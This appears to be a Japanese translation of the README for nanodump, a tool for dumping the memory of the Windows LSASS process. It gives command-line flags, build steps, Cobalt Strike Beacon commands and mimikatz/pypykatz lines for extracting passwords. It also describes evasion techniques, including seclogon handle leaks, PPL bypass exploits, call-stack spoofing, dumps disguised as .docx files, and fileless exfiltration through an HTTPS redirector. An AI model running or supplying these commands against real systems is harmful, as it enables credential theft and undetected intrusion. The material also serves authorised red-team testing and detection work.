
LSASSダンプのスイスアーミーナイフ
LSASSプロセスのミニダンプを作成する柔軟なツール。

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
Linux (MinGW) の場合
make -f Makefile.mingw
Windows (MSVC) の場合(BOF非対応)
nmake -f Makefile.msvc
Cobalt Strikeで NanoDump.cna スクリプトをインポートします。
Beaconコンソールで nanodump コマンド、または nanodump.x64.exe バイナリを実行します。
--valid フラグを指定しなかった場合、無効な署名を復元する必要があります。
scripts/restore_signature <dumpfile>
mimikatz:
秘密情報を取得するには、以下のコマンドを実行します:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Linuxを使用したい場合は、mimikatzのPython3版である pypykatz を使用できます:
python3 -m pypykatz lsa minidump <dumpfie>
PROCESS_VM_READ を使用してLSASSへのハンドルを開くのを避けるために、--fork パラメータを使用できます。
これにより、nanodumpは PROCESS_CREATE_PROCESS アクセスでLSASSへのハンドルを作成し、プロセスの「クローン」を作成します。この新しいプロセスがダンプされます。これによりプロセスの作成と削除が行われますが、LSASSを直接読み取る必要がなくなります。
--fork オプションと同様に、--snapshot を使用してLSASSプロセスのスナップショットを作成できます。
これにより、nanodumpは PROCESS_CREATE_PROCESS アクセスでLSASSへのハンドルを作成し、PssNtCaptureSnapshot を使用してプロセスのスナップショットを作成します。この新しいプロセスがダンプされます。完了するとスナップショットは自動的に解放されます。
LSASSへのハンドルを開くことは検出される可能性があるため、nanodumpは代わりに既存のLSASSハンドルを検索できます。
見つかった場合、それをコピーしてミニダンプの作成に使用します。
そのようなハンドルが見つかるとは限らないことに注意してください。
PROCESS_QUERY_LIMITED_INFORMATION(おそらくホワイトリストに登録されている)でLSASSへのハンドルを取得し、そのハンドルを複製して昇格させることができます。
LSASSへのハンドルを開くのを避けるために、seclogonサービスを悪用して CreateProcessWithLogonW を呼び出し、LSASSハンドルをnanodumpバイナリにリークできます。
この機能を有効にするには、--seclogon-leak-local パラメータを使用します。
Cobalt Strikeから使用する場合、署名されていないnanodumpバイナリをディスクに書き込む必要があることに注意してください。
このテクニックは前のものと非常に似ていますが、ハンドルをnanodumpにリークする代わりに、別のバイナリにリークしてから複製し、nanodumpが使用できるようにします。
この機能にアクセスするには、--seclogon-leak-remote フラグを使用します。
ファイルロックを使用した競合状態を利用して、seclogonプロセスにLSASSへのハンドルを開かせ、閉じられる前に複製させることができます。
この機能にアクセスするには、--seclogon-duplicate フラグを使用します。
nanodumpをLSASSのSSPとしてロードして、ハンドルを開くのを回避できます。
DLLがLSASSにロードされると、パラメータは名前付きパイプを介して渡され、ダンプが完了すると DllMain がFALSEを返し、LSASSがnanodump DLLをアンロードします。
コンパイラフラグ PASS_PARAMS_VIA_NAMED_PIPES=0 を使用すると、パラメータをDLLにハードコードし、名前付きパイプを完全に回避できます。
デフォルトでは、署名されていないnanodump DLLがTempフォルダにアップロードされ、自動的に削除されます。
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
既存のDLLをロードする場合は、以下を実行します:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
この脆弱性は2022年7月の更新パック(Windows 10 21H2 Build 19044.1826)で修正されています。
この機能にアクセスするには、nanodump_ppl_dump コマンドを使用します
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
この機能にアクセスするには、nanodump_ppl_medic コマンドを使用します
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
ダンプはnanodumpによって作成されるわけではないため、常に有効な署名を持ちます。
Silent Process Exitテクニックを利用するには、--silent-process-exit パラメータとダンプを作成するパスを使用します。
beacon> nanodump --silent-process-exit C:\Windows\Temp\
nanodumpプロセスのダンプも作成されます。例:
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
Shtinkeringテクニックを使用することもできます。nanodumpがSYSTEMで実行されている必要があります:
beacon> nanodump --shtinkering
ダンプは通常、C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps に作成されます。
偽のコールスタックを使用してLSASSへのハンドルを開き、関数呼び出しをより正当に見せかけることができます(特にBOFとして実行する場合)。
この機能を使用するには、--spoof-callstack パラメータを使用します。
多くのテクニックを組み合わせて、nanodumpの動作をカスタマイズできます。
以下の表は、一緒に使用できるフラグを示しています。
フォークを作成してLSASSを間接的に読み取り、無効な署名でダンプをディスクに書き込みます:
beacon> nanodump --fork --write C:\lsass.dmp
seclogon leak remoteを使用してnotepadプロセスにLSASSハンドルをリークし、そのハンドルを複製してLSASSへのアクセスを取得し、フォークを作成して間接的に読み取り、有効な署名でダンプをダウンロードします:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
seclogon leak localでハンドルを取得し、フォークを使用してLSASSを間接的に読み取り、有効な署名でダンプをディスクに書き込みます(nanodumpバイナリがアップロードされます!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
無効な署名でダンプをダウンロード(デフォルト):
beacon> nanodump
既存のハンドルを複製し、無効な署名でダンプをディスクに書き込みます:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
LSASSのPIDを取得:
beacon> nanodump --getpid
LSASSにnanodumpをSSPとしてロード(nanodumpバイナリがアップロードされます!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
PPLDumpエクスプロイトを使用してPPLをバイパスし、csrss.exeがLSASSに対して持つハンドルを複製してLSASSをダンプ:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
PPLMedicエクスプロイトを使用してPPLをバイパスし、低権限のハンドルをLSASSに開いてから昇格させてLSASSをダンプ:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
seclogonを騙してLSASSへのハンドルを開かせて複製し、無効な署名でダンプをダウンロード:
beacon> nanodump --seclogon-duplicate
WerFault.exeプロセスにTempフォルダに完全メモリダンプを作成させる:
beacon> nanodump --werfault C:\Windows\Temp\
偽装されたコールスタックでLSASSへのハンドルを開き、無効な署名でミニダンプをダウンロード:
beacon> nanodump --spoof-callstack
Shtinkeringテクニックを使用:
beacon> nanodump --shtinkering
seclogon leak localでハンドルを取得し、Shtinkeringテクニックでダンプを作成:
beacon> nanodump --seclogon-leak-local --shtinkering
低権限でハンドルを取得し、_elevate handle_で昇格:
beacon> nanodump --elevate-handle
偽装されたコールスタックで低権限のハンドルを取得し、_elevate handle_で昇格:
beacon> nanodump --elevate-handle --spoof-callstack
既存の低権限ハンドルを複製し、_elevate handle_で昇格:
beacon> nanodump --duplicate-elevate
HTTPSリダイレクタを使用している場合(推奨)、ダンプをファイルレスでダウンロードする際に、ダンプをリークするリクエストのサイズが原因で問題が発生する可能性があります。
Webサーバーのリクエストの最大サイズを増やして、nanodumpがダンプをダウンロードできるようにしてください。
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>
| --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |
|---|
| --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --elevate-handle | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --duplicate-elevate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-local | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-remote | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --spoof-callstack | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --silent-process-exit | ✓ | |||||||||||||||
| --shtinkering | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| SSP | ✓ | |||||||||||||||
| PPL_DUMP | ✓ | ✓ | ✓ | ✓ | ||||||||||||
| PPL_MEDIC | ✓ | ✓ | ✓ | ✓ |